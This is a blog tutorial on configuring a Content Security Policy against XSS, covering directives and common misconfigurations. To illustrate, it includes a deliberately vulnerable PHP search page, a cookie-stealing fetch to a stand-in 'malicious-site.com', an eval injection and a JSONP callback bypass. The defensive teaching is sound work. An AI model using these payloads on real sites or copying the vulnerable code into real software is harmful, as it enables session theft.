Setting a good Content Security Policy
The Content Security Policy (CSP) is a powerful security feature that
helps protect your website from cross-site scripting (XSS) attacks and
other types of code injection vulnerabilities. There are some directives
that do other things, but the bulk of this blog post will cover using
the fetch-directives
, or the elements of the CSP that allow
you to specify a allow-list of approved sources from which resources
This helps prevent malicious code from being executed on your site.
To implement CSP, you need to set the Content-Security-Policy HTTP header on your web server. Here’s an example of what a basic CSP header might look like:
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com
Let’s break down the different directives in this example:
default-src 'self'
: This sets the default source for all resource types to the same origin (i.e., your own website). This is a good baseline to start with.script-src 'self' https://example.com
: This specifies that scripts can only be loaded from your own site ('self'
) and thehttps://example.com
domain. This helps prevent the execution of any unauthorized scripts.
It is worth noting that default-src applies to all source types that haven’t been explicitly specified. Any sources that are explicitly specified overwrite then default-src, they are not added to it.
Consider the following:
Content-Security-Policy: default-src 'self'; script-src https://example.com
This will not allow scripts to sourced from the current origin,
despite 'self'
being in the default-src
directive.
You can further customize the CSP header to suit your website’s specific needs. For example, you might want to allow images to be loaded from a content delivery network (CDN), or allow fonts from a third-party font provider. Here’s an example of a more comprehensive CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com; style-src 'self' https://cdn.example.com; img-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com
In this example, we’ve added directives for styles, images, and fonts, allowing them to be loaded from specific approved sources.
It’s important to note that implementing CSP is an iterative process. You’ll likely need to adjust your policy as you add new features and functionality to your website. A good approach is to start with a strict policy and gradually loosen it as needed, while keeping security as the top priority.
Whilst testing, it may be useful to use the content-security-policy-report-only header. Whilst it doesn’t provide any protection, it also won’t break an existing site as it only reports report violations, rather than blocking them.
Why Bother
So, we have an idea of how to set a CSP, but not why we may want to. The main reason to have a strong CSP set is to protect against injection attacks. The most common of these is cross-site-scripting, where JavaScript is injected; although other types do exist when injecting malicious css (style-injection), or images (image-injection). The example below explains one way in which script injection, or cross-site-scripting, is bad.
Take the following simple PHP search page:
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Search Page</title>
</head>
<body>
<h1>Search Our Website</h1>
<form method="GET" action="/search.php">
: <input type="text" name="search">
Search<input type="submit" name="submit" value="Search">
</form>
<?php
if(isset($_GET['search'])) {
echo "<h2>You searched for: " . $_GET['search'] . "</h2>";
}
//Some logic to display search results
?>
</body>
</html>
The important factor here is that the users search query
($_GET['search']
) is output verbatim, without encoding or
sanitising it.
If I perform a search for
<script>alert(1);</script>
, the following h2
tag will be sent to the browser:
<h2>You searched for: <script>alert(1);</script></h2>
The browser will see that, and interpret the script tag as a script
it should execute. alert(1)
is a relatively benign function
that we often use to demonstrate the issue exists, without causing
significant issues to the site. However, now imagine changing
alert(1)
for
fetch('https://malicious-site.com?c=' + document.cookie)
.
Now my cookies have been sent to a malicious site for the owner to do with as they please.
The content-security-policy can be use to add a layer of protection here. When set strictly, the browser can “know” that the script tag in the h1 tag isn’t on a pre-approved list, so the browser won’t execute it.
Potential Mistakes
So, now we know why you might want a CSP, and how to set one, we’ll look at some of the most common mistakes I see people make.
'unsafe-inline'
source
This source is very frequently added to a CSP, without realising it severely limits the protection that it can offer. Most online generators will add it as, in their current setup, most sites use inline resources. An inline resource is, as the name suggests, most script or style resources that are not external.
So,
<script>console.log("Inline");</script>
<img src="something.jpg" onclick="console.log('Also Inline')" />
<script src="/not-inline.js"></script>
<style>
body{background-color: red; /*inline*/
}</style>
<img style="background-color: red; /*also inline*/" />
<link rel="stylesheet" href="/not-inline.css" />
The problem here is that, more often than not, inline JS is the easiest way to achieve XSS. The search example we used earlier added an inline script tag, so a CSP with unsafe-inline would not have prevented it from executing.
There are a number of better options here. First is externalising scripts. So, moving inline JS into an external file and adding it to the allow-list.
If that isn’t possible, or practical, another option is to use the
special <hashtype>-<hash>
sources, or
nonce-<nonce>
sources. These allow you to add
specific inline scripts to the allow-list, without allowing all inline
scripts. Just make sure not to fall into the potential mistakes with nonce sources.
'unsafe-eval'
source
The unsafe-eval source is only relevant for JavaScript, and allows
scripts to run eval()
, and a couple of other similar
functions. The most common use for eval I’ve seen is when targeting
older JS environments that not have native JSON support as an
alternative to JSON.parse()
.
So, consider the following:
const jsonString = document.getElementById('someTextArea').value;
const jsonObject = eval(jsonString2 );
If the contents of the text area were:
{
"name": "Jane Doe",
"age": 25
}
then:
console.log(jsonObject.name); // Output: "Jane Doe"
However, if the contents of the text area were alert(1)
,
then we are in the situation again whereby unsafe JavaScript is being
executed. Unfortunately, there are a lot of different uses of eval, so a
“fix” for all of them is unlikely. However, most modern frameworks do
not need to use eval, so disabling it is preferable if possible.
Nonce source
The nonce source allows site maintainers to allow some inline sources to be included. We’ve been using JavaScript as examples, so I will continue to do so, but note that this is also relevant for CSS.
Content-Security-Policy: script-src 'nonce-uph5Fai4'
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<script nonce="uph5Fai4">
console.log("This will run");
</script>
<script>
console.log("This won't");
</script>
</head>
<body>
<h1>Our Website</h1>
</body>
</html>
For the nonce source to be effective, it must be unpractical for malicious actor to guess the nonce. In practice, this generally means using a long and random string of characters for each response. The nonce should not be re-used. If a malicious actor can guess what a nonce is, then they can simply add the attribute to their injected payload.
JSONP Sources
JSONP (JSON with Padding) is a technique used to bypass the same-origin policy, which is a security feature implemented by web browsers to prevent a web page from making requests to a different domain than the one that served the web page.
The way JSONP works is as follows:
- The client-side code defines a function, to processes JSON data.
- A
<script>
tag is created with itssrc
attribute to a URL that returns a JSON response, with the name of the previously defined function specified. - The server-side code wraps the JSON response in a function call, with the function name provided.
Here’s an example:
Client-side HTML:
<script>
function handleResponse(data) {
console.log(data);
}</script>
<script src="https://example.com/data?callback=handleResponse"></script>
The response to that data script would look something like:
handleResponse({
"name": "John Doe",
"age": 30
; })
JSONP was a popular technique in the past, as it allowed developers to make cross-domain requests without running into the same-origin policy.
However, if a user is able to inject a script tag into a document, and a CDN that is known to host JSONP endpoints is on the allow-list, they could include something like
<script src="https://example.com/data?callback=alert(1);handleResponse"></script>
Most implementations will then return the following:
alert(1);handleResponse({
"name": "John Doe",
"age": 30
; })
JSONP is now generally discouraged, in favour of CORS, which allows site owners to explicitly allow some resources to be requested across origins. However, note that many CDNs host JSONP endpoints, so even if your site doesn’t use them, allowing a domain that hosts them is enough to provide a CSP bypass in many situations. The CSP does allow sub directories or even specific files to be added to the allow-list, so if unsure about whether a CDN provides JSONP endpoints, you may wish to explicitly allow a specific file on the CDN, rather than all files.
For example:
Content-Security-Policy: script-src http://example.com/file.js;
as opposed to
Content-Security-Policy: script-src http://example.com/;
Domains Which Allow Uploads
When you include a domain in your CSP, you’re essentially giving control of your website’s security to that platform and all the developers who publish code on it. Not only does this potentially introduce supply chain attacks, many CDNs also allow public submission. Unpkg, for instance, is a popular CDN that hosts everything on NPM. All you need to submit code to it is a free NPM account. If a CSP includes unpkg, or one of the many similar services, in their CSP; anyone can submit code that the CSP will allow to run.
Self source
It is worth noting that the 'self'
keyword can introduce
a similar issue.
The 'self'
source is a shortcut to allow sources from
the current origin.
The difference between origin and site has been discussed elsewhere in more detail, but briefly, an origin is defined by scheme (protocol), hostname (domain), and port of the url. Sub domains are a different origin, although often the same same site.
https://example.jonathanh.co.uk:443/something/cool
│ │
└────────────Origin───────────────┘
https://example.jonathanh.co.uk:443/something/cool
│ │
└────Site─────┘
Normally, including 'self'
is safe, although care should
be taken if you allow users of your site to upload content, and that
content is accessible on the same origin. If so, a user could
potentially upload a malicious file and bypass the CSP as the file is
available under the 'self'
domain.
Other Permissive Sources
The following are considered permissive. I won’t go into too much detail for each, but ideally you should avoid using:
https:
- Any source that is hosted on an encrypted server. A malicious actor can very easily spin up a server with a valid certificatedata:
- Any source that can be loaded via a data scheme. In most cases, this just involves base64 encoding a payload.